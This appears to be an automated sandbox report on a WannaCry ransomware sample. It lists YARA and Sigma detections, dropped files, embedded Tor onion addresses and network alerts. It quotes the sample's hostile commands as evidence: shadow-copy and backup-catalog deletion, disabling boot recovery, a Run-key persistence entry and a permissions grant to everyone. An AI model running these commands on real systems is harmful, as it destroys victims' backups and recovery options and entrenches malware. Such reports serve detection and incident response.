WannaCry.bin	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
WannaCry.bin	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\r.wnry	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x27c:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\Desktop\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\7551728024260.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\u.wnry	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\Desktop\u.wnry	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\Desktop\WannaCry.bin	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\Desktop\WannaCry.bin	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0x342d41:$x2: taskdl.exe 0x35962d:$x2: taskdl.exe 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0x359d91:$s2: Windows 10 --> 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x3591ff:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
C:\Users\user\Desktop\WannaCry.bin	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Users\user\Desktop\WannaCry.bin	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
Click to see the 22 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
0000000F.00000000.1444934334.000000000040E000.00000008.00000001.01000000.00000008.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: WannaCry.exe PID: 7080	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: @WanaDecryptor@.exe PID: 4928	JoeSecurity_Conti_ransomware	Yara detected Conti ransomware	Joe Security
Process Memory Space: @WanaDecryptor@.exe PID: 4928	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 1 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Delete shadow copy via WMIC

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: @WanaDecryptor@.exe vs, ParentImage: C:\Users\user\Desktop\@WanaDecryptor@.exe, ParentProcessId: 1112, ParentProcessName: @WanaDecryptor@.exe, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 3604, ProcessName: cmd.exe

System Summary

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: wmic shadowcopy delete, CommandLine: wmic shadowcopy delete, CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3604, ParentProcessName: cmd.exe, ProcessCommandLine: wmic shadowcopy delete, ProcessId: 2836, ProcessName: WMIC.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\Desktop\tasksche.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 1740, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\hdahtimfel691

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6220, ParentProcessName: cmd.exe, ProcessCommandLine: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, ProcessId: 1740, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\WannaCry.exe" , ParentImage: C:\Users\user\Desktop\WannaCry.exe, ParentProcessId: 7080, ParentProcessName: WannaCry.exe, ProcessCommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, ProcessId: 6220, ProcessName: cmd.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\WannaCry.exe, ProcessId: 7080, TargetFilename: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\~SDF7F2.tmp

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: @WanaDecryptor@.exe vs, ParentImage: C:\Users\user\Desktop\@WanaDecryptor@.exe, ParentProcessId: 1112, ParentProcessName: @WanaDecryptor@.exe, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 3604, ProcessName: cmd.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: consent.exe 6008 686 000002152F62E5C0, ParentImage: C:\Windows\System32\consent.exe, ParentProcessId: 1244, ParentProcessName: consent.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, ProcessId: 6008, ProcessName: svchost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 7551728024260.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1252, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 3644, ProcessName: cscript.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Malspam

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T08:43:59.684203+0200	2028377	3	Unknown Traffic	192.168.2.17	49718	51.254.101.242	9001	TCP
2024-10-04T08:44:21.090033+0200	2028377	3	Unknown Traffic	192.168.2.17	49719	194.109.206.212	443	TCP
2024-10-04T08:44:21.892170+0200	2028377	3	Unknown Traffic	192.168.2.17	49720	37.187.7.74	443	TCP
2024-10-04T08:44:25.202134+0200	2028377	3	Unknown Traffic	192.168.2.17	49725	171.25.193.9	80	TCP
2024-10-04T08:44:31.988044+0200	2028377	3	Unknown Traffic	192.168.2.17	49726	185.32.222.237	9444	TCP
2024-10-04T08:44:42.696351+0200	2028377	3	Unknown Traffic	192.168.2.17	49724	51.254.246.203	9001	TCP
2024-10-04T08:44:42.934849+0200	2028377	3	Unknown Traffic	192.168.2.17	49721	163.172.131.88	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

Avira: detection malicious, Label: LNK/Runner.VPDJ

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	ReversingLabs: Detection: 97%
Source: C:\Users\user\Desktop\WannaCry.bin	ReversingLabs: Detection: 94%
Source: C:\Users\user\Desktop\taskdl.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\Desktop\taskse.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\Desktop\u.wnry	ReversingLabs: Detection: 97%
Source: C:\Users\user\Documents\@WanaDecryptor@.exe	ReversingLabs: Detection: 97%
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	ReversingLabs: Detection: 97%

Source: taskhsvc.exe, 00000073.00000002.2408003351.000000000526E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

memstr_7f715e0e-7

Source: C:\Users\user\Desktop\WannaCry.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\~SD582F.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\~SD5830.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\~SD5832.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\~SD5833.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\~SD5831.tmp	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\~SD5834.tmp	Jump to behavior

Networking

Found Tor onion address

Source: WannaCry.exe, 0000000F.00000003.1971852615.0000000002669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
Source: @WanaDecryptor@.exe, 0000004F.00000002.2327393102.0000000000198000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
Source: @WanaDecryptor@.exe, 00000052.00000002.2327516450.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
Source: @WanaDecryptor@.exe, 00000055.00000002.1589306611.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$

Installs TOR (Internet Anonymizer)

Source: C:\Users\user\Desktop\@WanaDecryptor@.exe

File created: C:\Users\user\Desktop\TaskData\Tor\tor.exe

Source: global traffic	TCP traffic: 192.168.2.17:49718 -> 51.254.101.242:9001
Source: global traffic	TCP traffic: 192.168.2.17:49724 -> 51.254.246.203:9001
Source: global traffic	TCP traffic: 192.168.2.17:49726 -> 185.32.222.237:9444

Source: Joe Sandbox View	IP Address: 194.109.206.212 194.109.206.212
Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9
Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9

Source: Network traffic	Suricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.17:49719 -> 194.109.206.212:443
Source: Network traffic	Suricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.17:49725 -> 171.25.193.9:80
Source: Network traffic	Suricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.17:49718 -> 51.254.101.242:9001
Source: Network traffic	Suricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.17:49720 -> 37.187.7.74:443
Source: Network traffic	Suricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.17:49726 -> 185.32.222.237:9444
Source: Network traffic	Suricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.17:49724 -> 51.254.246.203:9001
Source: Network traffic	Suricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.17:49721 -> 163.172.131.88:443

Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.101.242
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.101.242
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.101.242
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 37.187.7.74
Source: unknown	TCP traffic detected without corresponding DNS query: 37.187.7.74
Source: unknown	TCP traffic detected without corresponding DNS query: 37.187.7.74
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.101.242
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.101.242
Source: unknown	TCP traffic detected without corresponding DNS query: 163.172.131.88
Source: unknown	TCP traffic detected without corresponding DNS query: 163.172.131.88
Source: unknown	TCP traffic detected without corresponding DNS query: 163.172.131.88
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.246.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.246.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.246.203
Source: unknown	TCP traffic detected without corresponding DNS query: 37.187.7.74
Source: unknown	TCP traffic detected without corresponding DNS query: 37.187.7.74
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9

Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)
Source: taskhsvc.exe, 00000073.00000002.2349107247.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)

Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://freehaven.net/anonbib/#hs-attack06
